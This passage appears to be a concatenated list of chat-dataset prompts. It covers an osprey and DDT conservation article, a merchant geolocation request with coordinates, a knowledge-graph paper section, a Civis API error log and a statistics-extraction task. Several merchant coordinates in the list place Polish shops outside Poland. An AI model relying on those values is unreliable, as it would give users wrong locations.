Long Island Sound. In this marshy inlet, Spitzer checks for action in nests among 35 osprey platforms that have been erected here since the late 1950s. As he disembarks, the resident ospreys take to anxious flight. He raises a pole topped with a mirror over a platform nest. These days, he sees abundant breeding success in the mirror’s reflection—three healthy young birds with ragged crests and brown-spangled wings. But it wasn’t always this way.\n\nSpitzer first stepped onto Great Island nearly 60 years ago, as an 11-year-old boy in 1957. That year, he accompanied birding legend Roger Tory Peterson on a Christmas Bird Count. Thus began a mentorship that set Spitzer onto a career path to becoming a ecologist.\n\nWhen Spitzer graduated from college, Peterson urged him to take up the question of what was causing a sudden and drastic decline among the ospreys.\n\n“At that time, the curtain was rising on the great DDT drama,” says Spitzer.\n\nFrom the 1960s through the 1970s, Spitzer watched ospreys almost disappear from Connecticut, and he pioneered experiments that helped establish DDT as a cause of their decline. He has also seen ospreys make a triumphant recovery in the Connecticut River estuary. And with more than 300 active nests recorded in the state today, he is now turning his attention below the water, where the next challenge for osprey is a vanishing fish.\n\nThe Discovery of the Perils of DDT on Osprey Populations\nPeterson tracked the decline of local ospreys from 150 in the 1950s to just 13 in 1965. He and his wife Barbara tried to help the ospreys by building dozens of nest platforms to protect their nests from predators such as raccoons. But the birds still weren’t bringing forth fledglings. Food didn’t seem to be a problem—there was no shortage of menhaden, the large-headed bait fish that is one of the osprey’s primary food sources in Long Island Sound. Spitzer had spent hours watching the fish hawks rising from the water with menhaden nearly a foot long in their oversized talons.\n\n“Roger began to suspect DDT,” Spitzer says. In the 1940s and ‘50s, DDT was used to control mosquito populations in residential areas, especially along coasts and near wetlands. “He had a hunch the ospreys were ingesting the DDT from fish. Rachel Carson’s findings were informing our discouraging field studies, and I was cutting my teeth as an ecologist studying this new paradigm of environmental toxicology.”\n\nDuring nest checks, Spitzer found thin-shelled, collapsing eggs and was re-minded of a British study that showed similar thinning in peregrine falcon eggs.\n\nShortly after receiving his biology degree from Wesleyan University, Spitzer had the idea to isolate local ecological effects in Connecticut by switching eggs in osprey nests there with eggs from a healthy population of breeding osprey near Chesapeake Bay.\n\n“Not nearly as much DDT was applied to Maryland saltmarshes, and it was probably diluted in the far larger Chesapeake system,” says Spitzer. By performing the switch, he could isolate whether the problem was with local environmental conditions or intrinsic to the Connecticut eggs.\n\nThe Patuxent Wildlife Research Center in Maryland signed on to Spitzer’s idea and provided staff to collect eggs. From the outset, Spitzer saw the Maryland eggs hatch healthy chicks in Connecticut, but not vice versa.\n\n“The embryos in Connecticut eggs died, and we found the shells to be thin by simple measurement,” he says. “We also found dented or collapsed eggs in some Connecticut nests.” None of these problems affected the Maryland eggs.\n\nNext, he arranged transfers of young nestlings from Maryland to Connecticut, to look beyond egg problems. The results were the same: “Virtually all the Maryland nestlings fledged in Connecticut, [so there were] no problems with food at this time. The failure was egg viability,” Spitzer says. Later lab tests revealed DDE (a breakdown product of DDT) as well as PCBs and another organochloride, dieldrin, at much higher concentrations in the Connecticut eggs compared to the Maryland eggs.\n\n“All signs pointed to Roger’s hunch being right, that it was DDT,” he says.\n\nDDT was banned in Connecticut in 1972, and two years later osprey numbers on Great Island bottomed out, with just a single nest remaining as the vestiges of DDT made their way out of the ecosystem.\n\nToday, there are approximately 100 active nests at Great Island and the overflow is helping populations at nearby Gardiners Island and eastern Long Island grow. Statewide, the Connecticut Audubon Society’s osprey nation monitoring project recorded 337 active nests in 2016, and 490 fledged young throughout the state—a rate nearly double that which Spitzer had calculated was necessary for a stable osprey population.\n\nNumbers like these, along with steady positive trends along Breeding Bird Survey routes, help explain why breeding ospreys are now abundant and widespread in Connecticut and throughout the eastern United States. Spitzer points to a combination of factors including an increase in artificial nest sites, a decrease in harmful residues in their food sources, and continued high levels of food availability, particularly Atlantic menhaden.\n\nOsprey and Menhaden\nFor the last three summers the Connecticut Audubon Society has sponsored Spitzer’s ongoing work in the Connecticut River estuary, but the aim of the research has now shifted to monitoring the relationship between osprey and menhaden. As in the 1960s, Spitzer’s attention is again focused on Great Island, now fittingly protected as a Roger Tory Peterson Wildlife Area. During June and July, Spitzer has documented that the ospreys’ diet is 95 percent to 100 percent menhaden. Spitzer says the story is much the same from Connecticut to Virginia, with menhaden-fueled osprey nesting colonies experiencing a revival.\n\n“Over 50 years of osprey study, we have moved from the sad story of DDT-induced egg failure and a declining population to the happy story of abundant ospreys,” Spitzer says. “Our ongoing legacy from osprey study must be the management of the East Coast ecosystem for abundant menhaden. We have to leave enough menhaden in the water to perform their precious and essential eco- nomic and ecological functions.”\n\nRich in oils and fat, menhaden live in Atlantic coastal waters from Nova Scotia to northern Florida, but reach peak abundance in the Chesapeake Bay. In addition to serving as the primary food source for breeding ospreys and their chicks along the New England coast, menhaden are also a main food source for striped bass and bluefish. And, they constitute a significant fishery for people—second only to pollock among the ranks of fish harvested by volume in the United States. But people don’t eat menhaden for dinner. They process it into other forms, mostly pills.\n\nMost of the nearly 200,000-metric-ton annual menhaden catch is rendered into omega-3 fatty acid fish oil for the health supplement industry. And most of that catch comes via purse-seine fishing, in which two fishing boats circle around a single school of fish and enclose it within a gigantic net. These operations are extremely efficient at catching huge volumes of fish. Only one state (Virginia) currently allows purse-seine fishing of menhaden, but the fish caught in the Chesapeake Bay and Virginia waters account for 85 percent of the total menhaden harvest. \n\nBecause a large share of the range-wide menhaden population is clustered in the mid-Atlantic region, harvests there have a significant effect on the population as a whole. As the fish-oil market boomed in the 1990s and 2000s, menhaden populations began to dwindle. In 2010 stocks hit a 54-year low. In 2013 the Atlantic States Marine Fisheries Commission reduced the quota of commercial menhaden harvest by 20 percent. Spitzer attributes the recent robust East Coast osprey populations to the renewed health of the menhaden fishery following these new rules.\n\n“It was a huge win,” says Spitzer.\n\nBut now, many ocean conservationists say menhaden are once again coming under intense fishing pressure. In 2015 and 2016, the quota was increased by about 10 percent, and the menhaden quota for 2017 has been increased by about 6 percent from 2016. Some industry representatives are suggesting that the menhaden quota could be raised by up to 30 percent without harming the overall fishery. Spitzer thinks the ASMFC should be more conservative in what it allows so that the menhaden population doesn’t crash again, as it did earlier this decade. He also thinks the continued abundance of menhaden is critical to the continued abundance of ospreys. \n\n“It is a great blessing to have been able to study ospreys for 50 years and counting. I have observed so many positive outcomes for these birds over the years,” Spitzer says. “Decisions about menhaden now will affect not only fish, but birds, coastal ecosystems and, in the end, every one of us.”' -'provide json like this for answer\n{\n "ANNA AUGUSTOWSKA": {\n "latitude": 51.0999,\n "longitude": 17.0299,\n "mcc": 5812,\n "merchant": "Anna Augustowska",\n "location": {\n "address": null,\n "city": null,\n "country": "PL"\n }\n },\n "AUCHAN POLSKA SP. Z": {\n "latitude": 51.7789,\n "longitude": 19.4424,\n "mcc": 5411,\n "merchant": "Auchan",\n "location": {\n "address": "ul. Brzezińska 27/29",\n "city": "Łódź",\n "country": "PL"\n }\n }}\nANNA AUGUSTOWSKA 51.0999 17.0299 5812\nAUCHAN POLSKA SP. Z 51.7789 19.4424 5411\nZABKA Z5782 K.1 50.4422 30.6196 5499\nSKLEP LIDL 1221 WRO 51.0763 17.0068 5411\nLIDL WIELICKA 50.0345 19.9685 5411\nJMP S.A. BIEDRONKA 6126 51.2494 22.5758 5411\nMARKET MAJA 48.0623 33.4977 5499\nZABKA Z6300 K.1 51.2191 22.7011 5499\nKAUFLAND PL 7962 51.0923 17.031 5411\nCARREFOUR LODZ PRZYBYS 51.7515 19.5022 5411\nPARFOIS AC1 50.0537 19.9556 5631\nMPSA - A 323 52.1787 21.0031 4111\nLPP CROPP 1512157 50.0671 19.9463 5651\nZABKA Z8793 K.1 51.0588 16.1772 5499\nSALAD STORY Wroclav 51.0963 17.0337 5812\nSTOKROTKA 1208 51.7179 19.4821 5499\nBilety Urbancard Wrocl 51.104 17.0304 4111\nMARKET PUNKT 50.0752 19.9292 5411\nKAUFLAND 01 53.4415 14.5554 5411\nAUCHAN POLSKA SP. Z 51.4258 21.1544 5411\nInmedio 31105 51.3816 21.1695 5994\nGREEN COFFEE 52.2332 21.013 5814\nCARREFOUR HIPERMARKET 52.2312 21.105 5411\nCIRCLE K KATOWICE, 50.2762 19.0177 5541\nZABKA Z7836 K.1 50.4422 30.6196 5499\nSTACJA PALIW KORYCIN 53.45 23.0897 5541\n2484420/8442/1667 52.2636 21.0196 4789\n3 BRZECZKOWICE MANUAL 2) 50.1966 19.1853 4784\nJMP S.A. BIEDRONKA 4110 52.2013 21.0337 5411\nZABKA Z4067 K.1 50.4422 30.6196 5499\nSHELL 11 51.7558 19.4707 5541\nMPSA - A 309 52.1681 21.018 4111\nMcDonalds 23 52.2278 21.0021 5814\nLIDL BOH. WARSZAWY 52.1711 20.813 5411\nZABKA Z6100 K.1 52.2283 21.0033 5499\nZABKA Z7811 K.1 51.0588 16.1772 5499\nLIDL WILENSKA 52.2579 21.0409 5411\nJMP S.A. BIEDRONKA 403 50.0428 19.9687 5411\nZABKA Z6932 K.1 51.0588 16.1772 5499\nZABKA Z3489 K.1 51.0588 16.1772 5499\nZABKA Z5582 K.1 50.4422 30.6196 5499\nBILETOMAT BILET ZTM 52.2297 21.0218 4111\nH&M 50.0663 19.9465 5651\nul. Pawia 5 50.0682 19.9463 6011\nJMP S.A. BIEDRONKA 528 52.2303 20.9939 5411\nJMP S.A. BIEDRONKA 166 50.8676 20.6204 5411\nSPAR EXPRESS 50.0356 19.9996 5411\nPEPCO 110336 KATOWICE 50.262 19.0192 5651\nSKLEP LIDL 1760 50.261 19.0089 5411\nBATEX -VENDING 52.106 20.8227 5814\nIKEA Retail Sp. z o 52.3057 21.0826 5812\nAUCHAN POLSKA SP. Z 51.4259 21.1547 5411\nJMP S.A. BIEDRONKA 4419 52.272 20.9602 5411\nZABKA Z3205 K.1 50.0702 19.9362 5499\nPEPCO 1012 WARSZAWA 26 KO 52.2418 21.1601 5651\nPOLREGIO EN63 001 49.8285 22.6494 4111\nul. Ordona 7 52.2256 20.9526 6011\nJMP S.A. BIEDRONKA 558 51.0968 17.036 5411\nZARA GALERIA MOKOTO 52.1806 21.0039 5699\neLeclerc 50.0193 22.0196 5411\nMORSKIE OKO I REST. 50.0637 19.9361 5812\nCIRCLE K WARSZAWA, 52.3148 20.9777 5541\nSKLEP LIDL 1941 51.1113 17.0066 5411' -'what about this section:\n\nThe Farm Governor is the core component of KGFarm which is\nresponsible for constructing and maintaining the Farm knowledge\ngraph for feature discovery and data preparation. Figure 3 illustrates\nthe Farm graph which encapsulates the following:farm:hasMulti-\nFarm graph\nbank\\_stats.csv\ncustomer\\_id\ncredit\\_score\nfeature view 01\ncustomer\ncustomer\\_phone customer\nfarm:hasOptionalEntity 1.0\nfarm:hasDefaultEntity 1.0\nfarm: representedBy\nfarm: representedBy\nfarm: hasFeatureView\nrides.csv\ndriver\\_id\npassenger\\_id\nfeature view 02\ndriver\npassenger\namount\n-pleEntities\n0.90\nmarital\nmembership\nrating\nfarm: hasFeatureView\nfarm: representedBy\nStandardScaler\nOrdinalEncoder\ninterpolate\nfarm: representedBy\nS1\nS2 S3\nS4\nS1\nS2 S3\nS4\nS5 Pipeline graphs\nentity feature view table columnoperations statement\n-pleEntites 0.65\nfarm: hasMulti-\nFigure 3: An overview of the Farm graph, which provides\nabstract entities and feature views over physical columns\nand tables in the data lake to automate feature discovery and\ndata preparation.\nEntity. Entities are nodes in KGFarm that represent distinguished\nreal-world objects whose properties are explained by an indepen-\ndent set of features. The entity itself has one or more physical rep-\nresentations. For example, in Figure 3 entity customer can be physi-\ncally represented by the customer\\_id column or the customer\\_phone\ncolumn. In feature discovery and data preparation, entities are\nneeded for feature retrieval and enriching data via join operation.\nFeature view. Feature views are also nodes in KGFarm which\nare an abstraction over a table that provide a logical grouping of\nfeatures describing one, multiple, or no entity. The group of features\nhere is simply the list of physical columns in a table that contains an\nentity. For example, in Figure 3, the table bank\\_stats.csv is abstracted\nas feature view 01 which has a default entity customer described\nby the features credit\\_score, marital, etc. While performing data\npreparation with KGFarm, feature views provide the data scientist\nwith an organized view of all the discovered entities alongside their\nfeatures in the data lake.\nData preparation operations. Data preparation operations are\nnot dedicated nodes but concepts in KGFarm. These are queried\non the fly by exploiting the linking between pipelines, tables, and\ncolumns provided by KGLiDS [8] and abstraction enabled by KG-\nFarm. The pipeline graphs made available by KGLiDS are queried\nto fetch task-specific data preparation operations. These operations\ninclude several transformations provided by sklearn.preprocessing3\nlike StandardScaler, OrdinalEncoder, etc. along with various\ndata cleaning techniques provided by pandas.DataFrame 4 like\ninterpolate, fill, etc. A few examples of these operations can be seen\nin Figure 3 which includes StandardScaler transformation being\napplied to the credit\\_score feature which describes the customer\nentity in feature view 01.\nTo store such a succinct graph in a standardized way, we\n3https://scikit-learn.org/stable/modules/classes.html#module-sklearn.preprocessing\n4https://pandas.pydata.org/docs/reference/frame.html\n3\ndeveloped an ontology for feature discovery and data preparation:\nthe Farm ontology. The following subsections discuss in detail\nthe Farm ontology followed by the approach adopted by the Farm\nGovernor to automate the discovery of entities, feature views, and\ntheir linking to physical data science artifacts.\n3.1 The Farm Ontology for low-code Data\nPreparation\nThe Farm graph builds on top of the LiDS knowledge graph [ 8]\nprovided by KGLiDS and follows the RDF standard [ 16 ] and Uniform\nResource Identifiers to represent the graph structure, promoting\nshareability and making it easily publishable on the internet. The\nFarm ontology is defined using the Web Ontology Language (OWL\n2) to facilitate interoperability and data sharing on the Web and\nacross platforms. As illustrated in 3, the Farm graph primarily\ncomprises 2 classes: entity and feature view, and 5 object properties\nthat represent the following using unique URIs:\n• The relationship between a physical ta-\nble and a feature view, represented by\nhttp://kgfarm.com/ontology/hasFeatureView.\n• The relationship between an entity and a physical table,\nrepresented by http://kgfarm.com/ontology/representedBy.\n• A feature view with a single entity, represented by\nhttp://kgfarm.com/ontology/hasDefaultEntity.\n• A feature view with multiple entities represented by\nhttp://kgfarm.com/ontology/hasMultipleEntities.\n• A feature view with optional physical rep-\nresentation for an entity, represented by\nhttp://kgfarm.com/ontology/hasOptionalEntity.\nThe Farm and LiDS ontology together make it convenient to\nretrieve data preparation operations applied on a specific fea-\nture or an entire feature view. Querying these operations is\ndone in three steps. Firstly, the pipeline graphs presented as\nnamed graphs in KGLiDS are queried to retrieve the columns\non which the sklearn.preprocessing or pandas.DataFrame oper-\nations were used to perform data transformation or cleaning.\nSecondly, using the physical columns retrieved from the first\nstep, tables containing these columns are fetched by utilizing the\nhttp://kglids.org/ontology/isPartOf property offered by the LiDS on-\ntology. Lastly, using the http://kgfarm.com/ontology/hasFeatureView\nproperty, the needed feature view can be fetched which comprises\nall the necessary information concerning the features and their\nentities.\nOnce the Farm graph is hosted across the enterprise, data sci-\nentists can leverage the graph structure to automate many data\npreparation problems by writing SPARQL queries directly or by\naccessing several KGFarm APIs which automate many feature dis-\ncovery and data preparation tasks with minimal or low-coding\nefforts. These APIs query the Farm graph in real-time to empower\nthe data scientist to:\n• Have a quick look at the entities and feature views that\nexist in the data lake\n• Update the physical representation of an entity.\n• Drop feature views directly from the graph.\n• Enrich data using the physical representation of the entities\nas join keys.\n• Fetch data transformation and cleaning techniques applied\nto features and tables.\n• Retrieve features selected by other data scientists in similar\nmachine learning tasks.\nMore details about the KGFarm APIs are provided in 4.\n3.2 Farm graph construction and Entity, Feature\nview automation\nTo abstract entities and feature views in the Farm graph, Gover-\nnor utilizes 1) a machine learning classifier to discover Primary\nkey-Foreign keys and 2) column statistics across datasets of the\ndata lake encapsulated by KGLiDS. The process of the Farm graph\nconstruction consists of two steps as formalized in algorithm 1.\nGeneration of feature view per table: A feature view node is\ngenerated for each table in the data lake. The feature view node\nis then linked to the corresponding physical table by creating a\nhasFeatureView relationship. The feature view nodes are later linked\nto their corresponding entities.\nEntity discovery and linking entity to feature view: To dis-\ncover entities, Governor queries the uniqueness and missing value\ncounts of all the column nodes. If a column has high uniqueness\n(represented by 𝛼 in Algorithm 1) of 95% or more and has no missing\nvalues, an entity node is generated and linked to the column node by\ncreating a representedBy relationship. If there is a single column in\na table respecting these conditions, the entity node for the column\nis linked to the feature view which abstracts the table by creating a\nhasDefaultEntity relationship. For tables with multiple columns re-\nspecting these conditions, the column with the highest uniqueness\nand the most number of Primary key-Foreign key pairs is selected\nas the default entity while others are linked to the feature view by\na hasOptionalEntity relationship. A case exemplifying the same can\nbe seen in Figure 3 where for Feature\\_view\\_01, entity customer with\ncustomer\\_id as its physical representation is appointed as the de-\nfault entity and the other with customer\\_phone is appointed as the\noptional entity. This is justified in the above example because the\ncustomer\\_id column will typically have more Primary key-Foreign\nkey relations as compared to the customer\\_phone column. The fea-\nture view nodes of the tables that are left unlinked to any entity are\nthen reiterated as they consist of columns with low uniqueness. In\nthis case, if a table consists of columns with a Primary key-Foreign\nkey relation, an entity node is generated and linked to the column\nnode by creating a representedBy relationship. For tables contain-\ning a single column with Primary key-Foregin key relation, the\nentity node for that column is linked to the feature view which\nabstracts the table by similarly creating a hasDefaultEntity relation-\nship. However, tables containing multiple columns with Primary\nkey-Foreign key relations are linked to the corresponding feature\nview by creating a hasMultipleEntities relationship. An example of\nsuch cases can also be seen in figure 3 where the feature\\_view\\_02\nis linked to two entities, entity driver represented by the driver\\_id\ncolumn and the entity passenger represented by the passenger\\_id\ncolumn which belongs to the rides.csv table. The tables with the\nfeature view nodes that are still left unmapped are treated as feature\nviews with no entity as they do not contain any column with high\nuniqueness or Primary key-Foreign key relations.\n\n3.3 Primary key-Foreign key discovery\nOur quest to find the entity associated with a table in a dataset\nhighlights the need to recognize Primary key-Foreign key pairs\nwithin the dataset. Primary key-foreign key extraction is valuable\nin dataset with no column uniqueness as well as datasets with\nmultiple columns with high uniqueness. In cases where no column\nin the table is unique, the primary key of the table is the most\nprobable candidate to be the physical representation of the entity.\nIn cases where there are multiple columns with a high uniqueness,\nthe frequency with which a column is referenced as a foreign key\nin other datasets serves as a tie breaker to identify the column\nrepresenting the entity, with the most referred column being the\nmost probable candidate.\nOverview: Given that all primary key-foreign key pairs have a\nhigh degree of content similarity (CS), a list of pairs with content\nsimilarity was compiled by querying KGLiDS [ 8]. Content similar-\nity was used to obtain the short list of primary key-foreign key\ncandidates as it is lightweight and is more likely to be extracted by\nprofilers compared to Inclusion Dependencies (IND) which is the\nmethod used it the current state of the art primary key-foreign key\nextractor [18]. A binary classification algorithm was then used to\nclassify the pairs as primary key-foreign key pairs or non-primary\nkey-foreign key pairs. Nine features were extracted from both the\ndatasets and the knowledge graph and were used to train the data.\nThe data was undersampled using a 1:3 ratio and the model was\ntrained using a 5 fold Cross validation with sklearn’s naive-bayes,\nrandom forest and SVC classifiers.\nFeatures: Six of the nine features used to train the model were\nobtained by querying KGLiDS [ 8 ], resulting in a more rapid feature\nextraction process. These features and their implementations can\nbe found in Table 1.\nF1: Distinct Dependent Values. The predicate\ndata:hasDistinctValueCount from the graph was used to\nobtain this feature.\nF2: Coverage. The coverage is defined by the similarity of the\nprimary key and foreign key, and is defined by the graph predicate\ncalled data:hasDeepEmbeddingContentSimilarity.\nF3: Dependant and Referenced. This feature is describes as the\nnumber of times that a foreign key value is used as a primary key\nvalue. We used the column names to determine how many times in\nthe list of pairs was a column designated as a foreign key column\nused as a primary key column.\nF4: Multidependant. This feature is describes as the number of\ntimes that a foreign key value is used as a foreign key value in other\ncolumns. We used the column names to determine how many times\nin the list of pairs was a column designated as a foreign key column\nused as a foreign key column in other tables.\nF5: MultiReferenced. This feature is described as the number of\ntimes that a primary key value is used as a primary key value in\nother columns. We used the column names to determine how many\ntimes in the list of pairs was a column designated as a primary key\ncolumn used as a primary key column in other tables.\n5\nTable 1: Features and their implementations\nID Name Description\nF1 Distinct Dependent Values Counts the number of distinct values in each column\nF2 Coverage The percentage of content similarity between column A and B\nF3 Dependent and Referenced How often a the column name of foreign key candidate is the same as the column name\nof primary key candidate\nF4 MultiDependent How often a the column name of foreign key candidate is the same as the column name\nof foreign key candidate\nF5 MultiReferenced How often a the column name of primary key candidate is the same as the column\nname of foreign key candidate\nF6 Column Name Column names are similar\nF8 Out of Range Columns that have the same maximum and minimum values\nF9 Typical Name Suffix The column name has the suffix "id", "num" or "key"\nF10 Table Size Ratio The ratio of the number of rows in the foreign key column candidate to the number of\nrows in the primary key column candidate\nF6: Column name. This feature describes the level of similar-\nity between column names which is done using the predicate\ndata:hasSemanticSimilarity from the graph\nF8: Out of range. The feature calculates the percentage of rows in\nthe primary key column (s(B)) that are within the range of values\nin the suggested foreign key column (s(A)). The feature produces 1\nif the maximum value in the primary key column is equal to the\nmaximum value of the foreign key and the minimum value of the\nprimary key is equal to the minimum value of the foreign key. The\nmaximum and minimum values for each column can be extracted\nusing the data:hasMaxValue and data:hasMinValue predicates of\nthe graph.\nF9: Typical suffix name. This feature would check whether the\nforeign key column name contained the suffix ’id’, ’key’ or ’num’.\n[18]\nF10: Table size ration. This feature calculates the ratio of the\nnumber of rows in the foreign key column to the number of\nrows in the primary key column using the graph predicate\ndata:hasTotalValueCount.' -'Here\'s the error I got:\nLogs\n\n03/21/2023 12:00:14 PM\nQueued\n03/21/2023 12:00:14 PM\nDedicating resources\n03/21/2023 12:00:14 PM\nPartition ID: 466, Label: "Job"\n03/21/2023 12:00:14 PM\nActual CPU allocation: 256m\n03/21/2023 12:00:14 PM\nActual memory allocated: 1024mb\n03/21/2023 12:00:17 PM\nYour job is now in a running state.\n03/21/2023 12:00:19 PM\nCollecting slack-sdk\n03/21/2023 12:00:19 PM\n Downloading slack\\_sdk-3.20.2-py2.py3-none-any.whl (274 kB)\n03/21/2023 12:00:22 PM\nInstalling collected packages: slack-sdk\n03/21/2023 12:00:23 PM\nSuccessfully installed slack-sdk-3.20.2\n03/21/2023 12:00:30 PM\nRequirement already satisfied: slack-sdk in /opt/conda/lib/python3.7/site-packages (3.20.2)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: civis in /opt/conda/lib/python3.7/site-packages (1.16.0)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: click<9,>=6.0 in /opt/conda/lib/python3.7/site-packages (from civis) (6.7)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: jsonref<=0.2.99,>=0.1 in /opt/conda/lib/python3.7/site-packages (from civis) (0.2)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: cloudpickle<3,>=0.2 in /opt/conda/lib/python3.7/site-packages (from civis) (1.2.2)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: joblib<2,>=0.11 in /opt/conda/lib/python3.7/site-packages (from civis) (0.14.1)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: pyyaml<7,>=3.0 in /opt/conda/lib/python3.7/site-packages (from civis) (5.2)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: tenacity<9,>=6.2 in /opt/conda/lib/python3.7/site-packages (from civis) (8.0.1)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: requests<3,>=2.12.0 in /opt/conda/lib/python3.7/site-packages (from civis) (2.22.0)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: jsonschema<5,>=2.5.1 in /opt/conda/lib/python3.7/site-packages (from civis) (3.2.0)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 in /opt/conda/lib/python3.7/site-packages (from requests<3,>=2.12.0->civis) (1.25.7)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: certifi>=2017.4.17 in /opt/conda/lib/python3.7/site-packages (from requests<3,>=2.12.0->civis) (2021.10.8)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: chardet<3.1.0,>=3.0.2 in /opt/conda/lib/python3.7/site-packages (from requests<3,>=2.12.0->civis) (3.0.4)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: idna<2.9,>=2.5 in /opt/conda/lib/python3.7/site-packages (from requests<3,>=2.12.0->civis) (2.8)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: importlib-metadata; python\\_version < "3.8" in /opt/conda/lib/python3.7/site-packages (from jsonschema<5,>=2.5.1->civis) (4.8.2)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: pyrsistent>=0.14.0 in /opt/conda/lib/python3.7/site-packages (from jsonschema<5,>=2.5.1->civis) (0.18.0)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: setuptools in /opt/conda/lib/python3.7/site-packages (from jsonschema<5,>=2.5.1->civis) (58.0.4)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: six>=1.11.0 in /opt/conda/lib/python3.7/site-packages (from jsonschema<5,>=2.5.1->civis) (1.16.0)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: attrs>=17.4.0 in /opt/conda/lib/python3.7/site-packages (from jsonschema<5,>=2.5.1->civis) (21.2.0)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: typing-extensions>=3.6.4; python\\_version < "3.8" in /opt/conda/lib/python3.7/site-packages (from importlib-metadata; python\\_version < "3.8"->jsonschema<5,>=2.5.1->civis) (3.10.0.2)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: zipp>=0.5 in /opt/conda/lib/python3.7/site-packages (from importlib-metadata; python\\_version < "3.8"->jsonschema<5,>=2.5.1->civis) (3.6.0)\n03/21/2023 12:00:45 PM\nTraceback (most recent call last):\n03/21/2023 12:00:45 PM\n File "/app/script", line 40, in \n03/21/2023 12:00:45 PM\n last\\_run = get\\_last\\_workflow\\_run(workflow\\_name)\n03/21/2023 12:00:45 PM\n File "/app/script", line 31, in get\\_last\\_workflow\\_run\n03/21/2023 12:00:45 PM\n runs = client.workflows.list\\_executions(workflow\\_name)\n03/21/2023 12:00:45 PM\n File "/opt/conda/lib/python3.7/site-packages/civis/resources/\\_resources.py", line 276, in f\n03/21/2023 12:00:45 PM\n return self.\\_call\\_api(verb, url, query, body, iterator=iterator)\n03/21/2023 12:00:45 PM\n File "/opt/conda/lib/python3.7/site-packages/civis/base.py", line 135, in \\_call\\_api\n03/21/2023 12:00:45 PM\n resp = self.\\_make\\_request(method, path, params, data, \\*\\*kwargs)\n03/21/2023 12:00:45 PM\n File "/opt/conda/lib/python3.7/site-packages/civis/base.py", line 125, in \\_make\\_request\n03/21/2023 12:00:45 PM\n raise CivisAPIError(response)\n03/21/2023 12:00:45 PM\ncivis.base.CivisAPIError: (400) The given request was not as expected: The property \'#/Id\' of type string did not match the following type: integer\n03/21/2023 12:00:47 PM\nFailed: The job container failed. Exit code 1\n03/21/2023 12:00:48 PM\nNo resource usage metrics were collected. This may happen when a Run finishes quickly.\nIt seems you might be making a mistake. Here\'s more documentaiton that might help. Could you try rewriting the script?\n\nget\\_executions(id, execution\\_id)¶\nGet a workflow execution\n\nParameters\nidinteger\nThe ID for the workflow.\n\nexecution\\_idinteger\nThe ID for the workflow execution.\n\nReturns\ncivis.response.Response\nidinteger\nThe ID for this workflow execution.\n\nstatestring\nThe state of this workflow execution.\n\nmistral\\_statestring\nThe state of this workflow as reported by mistral. One of running, paused, success, error, or cancelled\n\nmistral\\_state\\_infostring\nThe state info of this workflow as reported by mistral.\n\nuserdict::\nidinteger\nThe ID of this user.\n\nnamestring\nThis user’s name.\n\nusernamestring\nThis user’s username.\n\ninitialsstring\nThis user’s initials.\n\nonlineboolean\nWhether this user is online.\n\ndefinitionstring\nThe definition of the workflow for this execution.\n\ninputdict\nKey-value pairs defined for this execution.\n\nincluded\\_taskslist\nThe subset of workflow tasks selected to execute.\n\ntaskslist::\nThe tasks associated with this execution. - name : string\n\nThe name of the task.\n\nmistral\\_statestring\nThe state of this task. One of idle, waiting, running, delayed, success, error, or cancelled\n\nmistral\\_state\\_infostring\nExtra info associated with the state of the task.\n\nrunslist::\nThe runs associated with this task, in descending order by id. - id : integer\n\nThe ID of the run.\n\njob\\_idinteger\nThe ID of the job associated with the run.\n\nstatestring\nThe state of the run.\n\nexecutionslist::\nThe executions run by this task, in descending order by id. - id : integer\n\nThe ID of the execution.\n\nworkflow\\_idinteger\nThe ID of the workflow associated with the execution.\n\nstarted\\_atstring/time\nThe time this execution started.\n\nfinished\\_atstring/time\nThe time this execution finished.\n\ncreated\\_atstring/time\nThe time this execution was created.\n\nupdated\\_atstring/time\nThe time this execution was last updated.' -'Extract all statistics from the follwoing text and output a list.\n\nText: """As we ease into 2023, the outlook for tech workers may appear rough at first glance. For the last several months, a series of layoffs at numerous high-profile tech companies, such as Google, Amazon, Twitter, Salesforce, and Microsoft, as well as at smaller-scale tech companies, have rocked the tech industry. Layoff-tracking site layoffs.fyi reported that, in 2023 alone, over 400 tech companies have laid off a total of almost 120,000 workers from tech jobs. Furthermore, the future state of the U.S.’s economy also seems precarious: in December, a survey of economists predicted a 70% chance that the U.S. would enter a recession at some point in 2023. \n\nSuch rocky news is enough to make any aspiring tech worker nervous about entering the industry. However, contrary to what one might expect, data seems to indicate numerous open tech jobs available, a fast hiring turnover rate for tech employees, low tech unemployment rates, and new roles available to tech workers in previously overlooked industries. Below, we will explore why now might just be as good a time as any to get started in tech, and how Per Scholas alumni can navigate this confusing time. \n\nIS NOW A GOOD TIME TO LAUNCH A CAREER IN TECH?\nFrom a glance at the news, the outlook for tech industry workers seems grim. Announcements of mass layoffs from all manor of tech companies have been filling the news for months. According to tracking site Layoffs.fyi, on average, approximately 1,600 tech workers have been laid off every day in 2023 so far, with numbers already reaching 15% of the total number of tech workers laid off in 2022. Just this week, Twitter announced that it would be laying off 10% of its remaining staff, the latest in a series of similar announcements from other tech companies, large and small.\n\nSuch news might lead one to believe that this is a bad time to be involved in the tech industry, but data actually seems to paint a different picture of what it means to work in tech right now. While tech layoff rates are indeed high, tech hiring rates are also very high, and tech workers are still in incredibly great demand. According to CompTIA’s analysis of the U.S. Bureau of Labor Statistics’ report on tech jobs, December 2022 saw job gains in four of five tech sector categories, and December was the “25th straight month of net employment growth in the tech industry.” Software developers and engineers, IT support specialists, IT project managers, systems engineers and network engineers were noted to be in high demand, and “Washington, D.C., New York City, Chicago, Los 